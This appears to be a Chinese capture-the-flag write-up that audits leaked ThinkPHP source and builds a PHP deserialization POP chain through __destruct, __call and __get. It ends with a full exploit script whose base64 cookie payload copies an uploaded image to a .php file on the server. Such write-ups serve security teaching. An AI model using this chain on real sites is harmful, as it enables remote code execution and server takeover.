pop链3之__get()和__call()魔术方法的使用 魔术方法
1 2 3 __get():当对象调用不可访问的属性时被调用 __call():当对象调用不可访问的函数时被调用
我们打开页面,发现是注册和登录页面,所以我们在注册和登录时,随便尝试了sql注入闭合测试和二次注入,而对于二次注入的测试,可以注册时构造
然后在登陆时,使用这个username,发现回显页面仍然是0’and’1,所以不存在二次注入,也不存在sql注入,所以此时我们可以使用dirsearch扫描目录,发现
文件泄露,所以我们下载www.tar.gz文件后,解压,然后审计源码,我们可以先从控制前端输入值的代码开始审计起,即在
1 /application/web/controller
目录下的文件,我们可以查看Profile.php文件中对于上传文件处理的那一串代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public function upload_img(){ if($this->checker){ if(!$this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } } if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); } }
从这串代码中,我们可知
1 2 3 4 5 6 if($this->checker){ if(!$this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); }
当我们上传文件时,会先检查登录的账号和密码,是否正确,如果正确,才会进行下一步
1 2 3 4 5 if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); }
此时会将上传的文件名存储在$this->filename_tmp变量中,然后再对上传文件名进行md5加密,并加上.png后缀,然后存储在$this->filename中,然后进行一步
1 2 3 4 5 6 7 if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }
如果此时$this->filename中的文件后缀为png的话,则会判断$this->filename_tmp的尺寸,然后将$this->filename覆盖到$this->filename_tmp中,并删除$this->filename_tmp的变量的值,并将此文件存储在/upload/$this->upload_menu/$this->filename中
但是我们在login.php文件中的login_check会将cookie中的user参数的值进行base64解密,并反序列化
而这道题的过滤点在于,它会将上传的任何文件都变为.png后缀,所以我们可以想办法利用profile.php文件中的upload_img()函数中的copy函数对原来上传的文件名(加后缀)进行覆盖,并将原来文件的内容复制到覆盖后的文件中,从而绕过.png后缀这个过滤点,因此我们需要构造一条pop来链
我们看向profile.php文件中的两个魔术方法,
1 2 3 4 5 6 7 8 9 10 11 public function __get($name) { return $this->except[$name]; } public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } }
而但对于魔术方法__call(),要对象调用不可访问的函数才可以被调用,所以可以利用register.php文件中的
1 2 3 4 5 6 public function __destruct() { if(!$this->registed){ $this->checker->index(); } }
我们只需将$this->checker设置为new Profile(),即可触发__call()魔术方法,而__call()魔术方法中的
则会触发__get()魔术方法,而将$this->except=array[“index”=>”upload_img”],则可以利用return $this->except[$name]调用upload_img()函数,从而实现覆盖,所以exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php namespace app\web\controller; class Profile { public $checker=0; //绕过upload_tmp()函数的第一个if public $filename_tmp="./upload/93df0602d768e80cec04f22bc0fb368d/432958539d6bd005179f8a48cb4ef719.png"; public $filename="upload/penson.php"; public $upload_menu; public $ext=1; //绕过第二个if public $img; public $except=array("index"=>"upload_img"); public function upload_img(){ if($this->checker){ if(!$this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } } if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); } } } class Register{ public $checker; public $registed=0; } $a=new Register(); $a->checker=new Profile(); $a->checker->checker=0;//调用pop链防止退出程序 echo base64_encode(serialize($a)); ?>
然后我们只要抓包,然后将这个生成的值放入cookie的参数user中即可
参考文章:[https://blog.csdn.net/mochu7777777/article/details/105131257]